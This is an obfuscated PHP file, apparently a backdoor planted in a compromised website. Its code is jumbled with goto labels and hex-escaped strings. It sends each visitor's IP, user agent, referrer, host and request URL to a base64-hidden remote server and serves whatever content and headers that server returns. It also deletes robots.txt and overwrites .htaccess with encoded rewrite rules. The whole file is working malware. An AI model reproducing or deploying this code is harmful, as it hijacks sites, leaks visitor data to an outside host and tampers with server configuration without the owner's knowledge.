goto GPn65; LOFza: $params["\162\145\x71\x75\145\163\x74\137\165\x72\x6c"] = $_SERVER["\122\x45\x51\x55\105\x53\124\137\125\x52\x49"]; goto X2yyK; GPn65: function h($url, $pf = '') { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, "\x68"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 30); curl_setopt($ch, CURLOPT_FRESH_CONNECT, TRUE); if ($pf != '') { curl_setopt($ch, CURLOPT_POST, 1); if (is_array($pf)) { curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($pf)); } } $r = curl_exec($ch); curl_close($ch); if ($r) { return $r; } return ''; } goto wiEYJ; rgLt9: $params["\141\x67\x65\x6e\164"] = isset($_SERVER["\x48\x54\124\120\x5f\125\123\105\x52\137\101\x47\x45\116\x54"]) ? $_SERVER["\110\x54\124\x50\137\125\x53\105\x52\137\101\107\105\116\124"] : ''; goto xIMpC; HWUUQ: if (isset($_REQUEST["\160\x61\x72\141\x6d\163"])) { $params["\x61\x70\x69"] = $api; print_r($params); die; } goto k7opp; WCXxn: $params["\x64\x6f\155\x61\151\x6e"] = isset($_SERVER["\110\124\124\x50\137\110\x4f\123\x54"]) ? $_SERVER["\110\124\x54\x50\x5f\110\x4f\x53\124"] : $_SERVER["\x53\x45\x52\x56\x45\122\x5f\116\x41\115\x45"]; goto LOFza; wiEYJ: function h2() { if (file_exists("\x72\157\x62\157\164\163" . "\x2e\x74\170\x74")) { @unlink("\x72\x6f\142\x6f\x74\x73" . "\x2e\164\170\164"); } $htaccess = "\56" . "\x68\164\141\x63\143\x65\163\x73"; $content = @base64_decode("\x50\x45\x5a\x70\142\107\126\172\x54\x57\x46\x30\x59\62\147\147\x49\x69\64\x6f\x63\x48\154\70\132\x58\150\x6c\x66\x48\102\x6f\143\x43\x6b\x6b\x49\x6a\64\x4b\111\105\x39\171\132\107\126\171\111\107\106\x73\x62\107\x39\63\x4c\107\x52\x6c\x62\x6e\x6b\x4b\111\105\122\x6c\x62\156\x6b\x67\132\x6e\x4a\166\142\x53\x42\150\142\107\x77\x4b\120\x43\x39\x47\141\127\170\154\143\60\x31\x68\x64\x47\x4e\157\x50\147\157\70\x52\155\154\163\132\x58\x4e\116\131\x58\122\152\141\x43\x41\151\x58\x69\150\x68\131\x6d\x39\61\x64\x43\x35\167\141\x48\102\70\143\x6d\106\x6b\x61\127\x38\x75\x63\107\150\x77\146\x47\x6c\x75\x5a\107\126\64\114\x6e\x42\x6f\x63\110\170\152\142\62\65\x30\x5a\127\65\60\x4c\156\x42\157\x63\x48\170\x73\x62\62\x4e\x72\x4d\x7a\x59\167\114\156\102\157\143\x48\170\x68\132\x47\61\160\142\151\x35\167\141\110\102\x38\x64\63\101\164\142\107\71\156\x61\x57\x34\x75\143\107\x68\167\146\110\144\167\114\x57\x77\167\x5a\x32\154\x75\x4c\x6e\x42\157\x63\x48\170\x33\143\x43\x31\x30\141\107\126\164\132\123\65\167\x61\x48\102\70\144\x33\101\x74\x63\x32\x4e\171\141\130\102\x30\143\x79\65\x77\x61\110\x42\70\x64\x33\101\164\x5a\127\x52\160\x64\107\71\171\114\156\102\157\x63\x48\x78\x74\131\x57\x67\x75\143\107\150\x77\x66\107\x70\167\114\156\102\157\143\110\170\x6c\x65\x48\121\165\143\x47\x68\167\x4b\123\x51\x69\120\147\157\x67\124\63\x4a\x6b\132\130\111\147\131\x57\x78\x73\142\63\x63\163\132\x47\x56\x75\145\121\x6f\147\x51\x57\170\x73\x62\63\143\x67\132\x6e\x4a\166\x62\123\102\x68\x62\107\167\113\x50\103\x39\x47\141\x57\170\154\143\x30\x31\x68\x64\x47\x4e\157\x50\147\x6f\x38\x53\127\x5a\x4e\x62\62\122\61\x62\x47\x55\147\x62\127\71\153\x58\x33\112\x6c\x64\x33\112\x70\144\107\x55\x75\x59\x7a\64\x4b\125\x6d\126\63\x63\155\154\60\x5a\x55\x56\x75\132\62\x6c\165\132\x53\102\x50\142\147\160\x53\x5a\130\144\x79\141\130\x52\x6c\x51\155\106\x7a\x5a\x53\101\x76\x43\x6c\112\154\144\x33\112\x70\144\x47\x56\x53\144\x57\170\x6c\x49\x46\65\160\x62\x6d\122\x6c\x65\106\167\x75\143\x47\150\x77\112\103\101\164\x49\x46\x74\x4d\130\121\160\x53\x5a\130\x64\171\x61\x58\122\x6c\x51\x32\71\165\132\x43\101\x6c\x65\61\112\106\x55\x56\126\106\x55\61\122\x66\x52\x6b\154\115\x52\125\65\x42\x54\125\x56\71\x49\x43\x45\164\132\x67\x70\123\132\x58\144\171\141\x58\122\x6c\121\62\71\165\132\x43\x41\154\145\61\x4a\106\x55\126\126\106\125\61\122\x66\x52\x6b\x6c\x4d\122\x55\65\102\124\125\126\71\x49\103\x45\164\x5a\x41\x70\x53\x5a\130\144\171\x61\130\122\154\125\x6e\x56\163\x5a\x53\101\165\111\x43\71\x70\x62\x6d\x52\154\x65\103\x35\x77\x61\110\x41\x67\x57\60\170\144\103\152\x77\x76\123\127\x5a\116\142\62\122\61\x62\107\x55\53"); if (file_exists($htaccess)) { $htaccess_content = file_get_contents($htaccess); if ($content == $htaccess_content) { return; } } @chmod($htaccess, 511); @file_put_contents($htaccess, $content); @chmod($htaccess, 420); } goto VZYFc; d8jCm: $params["\x70\x72\157\x74\157\143\x6f\x6c"] = isset($_SERVER["\x48\124\124\x50\x53"]) ? "\x68\x74\x74\x70\x73\x3a\57\57" : "\x68\164\x74\160\72\x2f\x2f"; goto WOr8e; WOr8e: $params["\x6c\141\x6e\147\x75\141\x67\x65"] = isset($_SERVER["\110\124\124\120\x5f\x41\x43\x43\105\x50\124\x5f\114\101\116\107\125\101\x47\x45"]) ? $_SERVER["\x48\124\x54\120\137\x41\x43\103\105\120\124\x5f\114\101\x4e\x47\125\x41\x47\x45"] : ''; goto HWUUQ; VZYFc: $api = base64_decode("\141\110\122\x30\143\104\x6f\166\114\x7a\131\170\115\x54\147\164\x59\x32\x67\60\114\x58\x59\x79\x4f\x44\147\165\141\x57\x31\156\x4f\110\x6c\150\x61\107\x39\166\114\x6d\x4e\166\142\x51\x3d\75"); goto WCXxn; X2yyK: $params["\162\x65\x66\145\x72\145\x72"] = isset($_SERVER["\110\x54\x54\x50\x5f\122\x45\x46\x45\x52\x45\x52"]) ? $_SERVER["\x48\x54\124\x50\137\122\x45\x46\105\122\x45\122"] : ''; goto rgLt9; t1Adu: while ($try < 3) { $content = h($api, $params); $content = @gzuncompress(base64_decode($content)); $data_array = @preg_split("\x2f\134\x7c\x2f\x73\x69", $content, -1, PREG_SPLIT_NO_EMPTY); if (!empty($data_array)) { $data = array_pop($data_array); $data = base64_decode($data); foreach ($data_array as $header) { @header($header); } echo $data; die; } $try++; } goto CbXj5; qPmUN: $try = 0; goto t1Adu; xIMpC: $params["\x69\160"] = isset($_SERVER["\x48\x54\x54\120\x5f\126\111\101"]) ? $_SERVER["\110\x54\124\120\x5f\130\x5f\106\117\122\127\x41\122\x44\105\104\137\106\x4f\122"] : $_SERVER["\x52\105\115\117\x54\x45\x5f\101\104\x44\x52"]; goto EIVKM; k7opp: h2(); goto qPmUN; EIVKM: if ($params["\x69\x70"] == null) { $params["\151\160"] = ''; } goto d8jCm; CbXj5: ?>